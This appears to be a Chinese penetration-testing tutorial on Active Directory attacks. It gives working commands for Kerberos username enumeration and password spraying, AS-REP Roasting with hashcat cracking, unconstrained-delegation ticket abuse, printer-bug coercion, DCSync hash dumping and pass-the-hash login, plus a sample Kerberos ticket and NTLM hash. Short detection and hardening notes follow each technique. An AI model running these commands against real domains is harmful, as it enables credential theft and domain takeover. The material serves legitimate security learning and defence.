域内用户名枚举
域内用户名枚举可以在无域内有效凭据的情况下,枚举出域内存在的用户名,并对其进行密码喷洒攻击,以此获得域内的有效凭据。
在kerberos协议认证的AS-REP阶段中,请求包cname对应的值是用户名。当用户状态分别为用户存在且启用、用户存在但禁用、用户不存在,AS-REP的包各不相同
三种状态的错误代码分别为:
KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在且启用)
KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(用户存在但禁用 )
KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(用户不存在)
这里用到的工具是kerbrute
kerbrute.exe userenum --dc 10.10.10.8 -d redteam.red user.txt
参数含义
userenum:用户枚举模式
--dc:指定域控ip
-d:指定域名
user.txt:用户名字典
域内用户名枚举攻击防御
由于域内用户名枚举是发送大量的AS-REQ包,根据返回包的内容筛选出存在的域用户,可以通过流量分析,如果同一个ip短时间内有发送大量的AS-REQ包,则可以判断为异常。
域内密码喷洒
域内密码喷洒一般和域内用户名枚举一起使用。
在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED 。所以可以利用这一点去对域用户名进行密码喷洒攻击。
这里用到的工具是kerbrute
运行该工具进行密码喷洒,可以看到administrator和hack的密码就是Admin12345
kerbrute.exe userenum --dc 10.10.10.8 -d redteam.red user.txt Admin12345
参数含义
userenum:密码喷洒模式
--dc:指定域控ip
-d:指定域名
user.txt:用户名字典
如果域内不存在密码锁定策略,则可以针对单个用户进行密码字典爆破。针对域内管理员administrator进行密码字典爆破的命令如下。
kerbrute.exe bruteuser --dc 10.10.10.8 -d redteam.red pass.txt administrator
域内密码喷洒攻击防御
由于域内密码喷洒是通过发送大量的AS-REQ包,根据返回包的内容判断密码是否正确,因此可通过以下方法进行检测。
1、流量层面:可通过检测同一ip在短时间内是否发送了大量的AS-REQ包来判断。如果同一ip在短时间内发送大量的AS-REQ包,则可判断为异常
2、日志层面:当口令爆破成功时,会产生事件ID为4768且结果代码为0x0的审核成功的kerberos身份验证服务事件日志。而口令爆破失败时,默认情况下不会记录任何日志,因此日志层面不太好检测,需要通过设备去检测。
AS-REP Roasting
前提条件
1、域用户勾选“不要求kerberos预身份验证”选项;
2、需要一台可与KDC 88端口进行通信的主机;
该攻击分为俩步
1、获取AS-REP响应包中用户hash加密的Login Session Key;
2、对上面获得的Hash进行解密
这里用的工具是Rubeus
如果当前主机在域内,可以通过执行如下命令运行Rubeus,该工具会自动搜索域内勾选了“不要求kerberos预身份验证”选项的用户,,并以该用户身份发起AS-REQ,由于环境不需要预身份认证,所以KDC会直接返回AS-REP包。然后该工具会将AS-REP包中返回用户hash加密的Login Session Key保存为指定格式。
Rubeus.exe asreproast
接下来使用hashcat对获得的Hash进行爆破
将hash.txt复制到hashcat目录下,并且修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接。然后使用以下命令爆破。
hashcat.exe -m 18200 hash.txt pass.txt --force
对于不在域内的机器的话,假设我们现在拥有一个有效的域账户和密码
1:对于非域内的机器,无法通过LDAP来发起用户名的查询。
2:所以要想获取 "不需要kerberos预身份验证" 的域内账号,只能通过枚举用户名的方式来获得。而AS-REP Hash方面。非域内的主机,只要能和DC通信,便可以获取到。使用Get-ASREPHash,通过指定Server的参数即可
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName hack -Domain redteam.red -Server 10.10.10.8 | Out-File -Encoding ASCII hash.txt
3:获取到Hash后,使用hashcat对其爆破,和上面一样即可。
AS-REP Roasting攻击防御
1、检测域中是否存在设置了“不要求kerberos预身份验证”属性的用户。如果存在,将该属性取消即可。
2、如果在日志层面进行检测,重点关注事件ID为4768且预身份验证类型为0的日志,该日志类型为“不要求kerberos预身份验证”属性的用户发起的kerberos认证。
委派攻击
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)
委派的分类:三种应用方式
非约束委派(Unconstrained Delegation, UD)
约束委派(Constrained Delegation, CD)
基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。而基于资源的约束委派主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
非约束委派
非约束性委派(Unconstrained Delegation):服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权限,一般为管理员具有此权限。
简单来介绍就是用户A访问服务B,但是访问过程中需要访问服务C,于是B就使用A提供的TGT委派访问C。
一些注意点:
-
域控机器账户默认配置非约束性委派
攻击思路1:构造服务账户票据
域名: redteam.lab
域控:
操作系统: Windows Server 2008
主机名: owa
IP: 10.10.10.8
域内主机:
操作系统: Windows 7
主机名: work-7
IP: 10.10.10.7
使用ADFind工具进行查找
# ADFind查询非约束委派普通账户
ADFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
ADFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
利用条件:
-
服务账户设置了非约束性委派
-
已知服务账户的密码口令信息
这里已知SQLserver服务账户密码Server12345,并且ken设置了非约束性委派
使用kekeo工具进行操作:
# 构造服务账户saulgoodman的票据
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:sqlserver.kirbi" "exit"
# 利用刚才伪造的ken票据,向域服务器申请CIFS服务票据
kekeo.exe "Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" "exit"
# 使用mimikatz将该票据注入当前的会话中
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" "exit"
# 访问目标共享盘
dir \owaC$
攻击思路2:诱使域管理员访问机器
偏理想化,不实用 (毕竟域控没事登录你的机器干嘛。。)
当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN7主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。
环境介绍
域名: vulntarget.com
域控:
操作系统: Windows Server 2016
主机名: WIN-1PV25H8UJPN
IP: 10.0.10.10
域内主机:
操作系统: Windows Server 2008
主机名: WIN-N4DK5RPD2QU
IP: 10.0.10.9
利用条件:
假设域管理员访问了主机
# 域控用户访问域内主机
net use \WIN-N4DK5RPD2QU.vulntarget.comc$
导出票据,执行攻击
# 域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# 查看票据
mimikatz.exe "kerberos::list"
# 清空票据,可以使用绝对路径
kerberos::purge [ticket]
mimikatz.exe "kerberos::ptt [0;7e373][email protected]" "exit"
成功访问
打印机漏洞
域控打印机服务已开启
强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
利用条件:
-
需要Administrator权限
利用过程:
使用Rubeus工具监听
# 查询打印服务是否开启|域控上查看
sc query spooler
# 使用Rubeus监听来自域控的票据
Rubeus.exe monitor /interval:2 /filteruser:DC2016$
使用SpoolSample工具执行打印机漏洞利用,进行强制验证
# 强制回连,获得域控机器账户的TGT
SpoolSample.exe DC2016 WIN10-1
Rubeus监听到票据并导入该票据
# rubeus导入票据
Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtSRURURUFNLkxBQqOCA90wggPZoAMCARKhAwIBAqKCA8sEggPHdOzGGhqNLMiflfgJCrXq6OzfDy1u+wHM8mdH8IpkVEbl+TX5liKAPQ/i4nIewzu9yq8kO9tEZYRhARky6B2Bw4RWD6tx9nytF24Q6AhvpzIfxAK2zJ1fLX5AtH9yyqbVVdd+ryoR8PjUCl09IdyfdmTfMW45olQhHVMG1l2Oz9agg8tUANOFT9HjbxrDJjgCvFMEJ7hJ3s1dsYORZfvXk31J4fn3VRLHj/5N9XpQQ5n8T24p8KGmvfK/SdPDU4im/Jud5syF60l1sMH/UUr4UYaHSAFM3ui1sgaeO45MdPq7hAVVRaBX8WjogadUTeRghh47nH4aAsbAqxmmCNkTKkYSAPdc8fKIAFQNSONpEsBnaCrLo+QoD/x+VIkNHbPYA7Zt3kb/neoH65zP5PTm95pAjmnx7P56/UdwgxkVTd7KHsj4VQ/7BsHx8GfpXKcmev08KSGvMvXM6+zr9XbrnLne6bnabNTUHuqfh6+4qImMlig6RMmeSpJa0hFAzJdhzkZGO9LLL2OZSOME2ngSvffCunaNqdIGEbev8i5kVMhwg4upv9tClWW+h0mEJWeZ332WF2LKI2VEKjQePAbkM3UUmr+1vUXKEcKPEqQ58fQH2+Nr4naONswOTVb1CLdXB7/SdfCcYU26Pgm7vQnl2uNb6LhlpPYAXGoaofUjRV0d3JIR+2oXSt5ia5auCyhU6/nKXPP1KBCiQzjRACSOyeRivxTaxVZExbtLNi932psyMOKCb6qE/JHyhve5Iu/nBp78RcfjoTrNaqUCO/ZxA2AUlUEpcmoU+Vmm+fQEb828EZtKFoyxKPBKtbK/jLsgk8qEoy5JwIEmMIeIP0D95vc+Rzp5A/WSiN0yn9RXqd8On/UBjOW7O42uKhrVJrJ5ClOu+HdHN2WkejBkslnBJYSaL+A69eA5qb+yAJhJqmlSFupfGhQhzm/YNDdcifKU+47R3WF3n9OvSqQgLush9/hkGPgwVLp1Wj6LQHzofIujVRDOybAeNt+lATwzQGVHpeUOWy/iXV/UxTPGT3VBiPpIm1E813QKw8eWTxLm5YeQJrk0Uyj/qalqqo5gskI0fY7Sq60pMA9t1TA6nrdmcQzesKWAcf6QmEmQorTcPw4znaM5QSKAGwRQRGGt57RADimgrs/R2K3Rqa3C/ePlSgaPJN3jS5AGHF9j1/MJE0Eb8ZwPXTI0P77NCDWthqK7wFzcyKkrpNjodMf/KFs96wkVqWBJ0Xy5qza9rFy/r79WZtICfxLfbdF8KGrS5LCCIYKMVhPq56OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIP6GQ/T97TyQDQUyz2ZnOBxcZEcgQ0iexOoMgGUOzdNUoQ0bC1JFRFRFQU0uTEFCohQwEqADAgEBoQswCRsHREMyMDE2JKMHAwUAYKEAAKURGA8yMDIyMDUxODA3NDcxMFqmERgPMjAyMjA1MTgxNzQ3MTBapxEYDzIwMjIwNTI1MDc0NzEwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLUkVEVEVBTS5MQUI=
使用mimikatz导出Hash
# mimikatz导出域内用户Hash
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAMAdministrator" "exit"
使用wmiexec远程登录:
python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/[email protected] -no-pass
委派攻击防御
高权限的用户设置不能委派,主机账户需设置委派时,只能设置为约束性委派
原文始发于微信公众号(PwnPigPig):内网知识体系之域内渗透手法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论